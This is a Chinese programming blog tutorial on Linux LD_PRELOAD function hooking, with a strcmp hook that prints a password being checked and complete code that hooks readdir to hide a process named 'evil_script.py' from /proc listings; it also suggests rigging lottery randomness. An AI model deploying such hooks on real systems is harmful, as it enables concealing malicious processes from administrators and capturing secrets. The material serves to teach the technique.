本文主要是介绍Linux LD_PRELOAD Hook,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
文章目录
- 一、简介
- 二、hook strcmp
- 三、hook readdir 实现隐藏进程
- 参考链接:
一、简介
loader在进行动态链接的时候,会将有相同符号名的符号覆盖成LD_PRELOAD指定的so文件中的符号。换句话说,可以用我们自己的so库中的函数替换原来库里有的函数,从而达到hook的目的。这和Windows下通过修改import table来hook API很类似。相比较之下,LD_PRELOAD更方便了,都不用自己写代码了,系统的loader会帮我们搞定。但是LD_PRELOAD有个限制:只能hook动态链接的库,对静态链接的库无效,因为静态链接的代码都写到可执行文件里了嘛,没有坑让你填。
二、hook strcmp
先是受害者,我们的主程序main.c,通过strcmp比较字符串是否相等:
#include <stdio.h>
#include <string.h>int main(int argc, char *argv[])
{if( strcmp(argv[1], "test") ){printf("Incorrect password\n");}else{printf("Correct password\n");}return 0;
}
然后是用来hook的库hook.c:
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>typedef int(*STRCMP)(const char*, const char*);int strcmp(const char *s1, const char *s2)
{static void *handle = NULL;static STRCMP old_strcmp = NULL;if( !handle ){handle = dlopen("libc.so.6", RTLD_LAZY);old_strcmp = (STRCMP)dlsym(handle, "strcmp");}printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);return old_strcmp(s1, s2);
}
因为hook的目标是strcmp,所以typedef了一个STRCMP函数指针。由于hook的目的是要控制函数行为,所以需要从原库libc.so.6中拿到“正版”strcmp指针,保存成old_strcmp以备调用。
Makefile:test: main.c hook.sogcc -o test main.chook.so: hook.cgcc -fPIC -shared -o hook.so hook.c -ldl
执行:
$ LD_PRELOAD=./hook.so ./test 123
hack function invoked. s1=<123> s2=<test>
Incorrect password$ LD_PRELOAD=./hook.so ./test test
hack function invoked. s1=<test> s2=<test>
Correct password
使用PRE_LOAD劫持库函数的这种做法可以做很多事情,比如劫持随机函数random, random_r等,使得看起来是公平的摇号程序可以自如地由自己控制;比如实现一些高级功能,zlibc就是使用这个技术来做压缩,但是上层应用对其完全无感知;比如紧急fixbug,你可以preload一个函数库来使你的有bug的程序如期运行;比如访问应用程序的内存,做一些你想做的事 😃
LD_PRELOAD hook步骤:
- 定义与目标函数完全一样的函数,包括名称、变量及类型、返回值及类型等
- 将包含替换函数的源码编译为动态链接库
- 通过命令
export LD_PRELOAD="库文件路径"
,设置要优先替换动态链接库 - 如果找不替换库,可以通过
export LD_LIBRARY_PATH=库文件所在目录路径
,设置系统查找库的目录 - 替换结束,要还原函数调用关系,用命令
unset LD_PRELOAD
解除 - 想查询依赖关系,可以用ldd 程序名称
三、hook readdir 实现隐藏进程
这里直接贴上代码,感兴趣的同学可以参考下面的链接:
- linux 下隐藏进程的一种方法
- libprocesshider
#define _GNU_SOURCE#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>/** Every process with this name will be excluded*/
static const char* process_to_filter = "evil_script.py";/** Get a directory name given a DIR* handle*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{int fd = dirfd(dirp);if(fd == -1) {return 0;}char tmp[64];snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);ssize_t ret = readlink(tmp, buf, size);if(ret == -1) {return 0;}buf[ret] = 0;return 1;
}/** Get a process name given its pid*/
static int get_process_name(char* pid, char* buf)
{if(strspn(pid, "0123456789") != strlen(pid)) {return 0;}char tmp[256];snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);FILE* f = fopen(tmp, "r");if(f == NULL) {return 0;}if(fgets(tmp, sizeof(tmp), f) == NULL) {fclose(f);return 0;}fclose(f);int unused;sscanf(tmp, "%d (%[^)]s", &unused, buf);return 1;
}#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \\
struct dirent* readdir(DIR *dirp) \
{ \if(original_##readdir == NULL) { \original_##readdir = dlsym(RTLD_NEXT, "readdir"); \if(original_##readdir == NULL) \{ \fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \} \} \\struct dirent* dir; \\while(1) \{ \dir = original_##readdir(dirp); \if(dir) { \char dir_name[256]; \char process_name[256]; \if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \strcmp(dir_name, "/proc") == 0 && \get_process_name(dir->d_name, process_name) && \strcmp(process_name, process_to_filter) == 0) { \continue; \} \} \break; \} \return dir; \
}DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
参考链接:
- Reverse Engineering with LD_PRELOAD
- LD_PRELOAD的偷梁换柱之能
这篇关于Linux LD_PRELOAD Hook的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!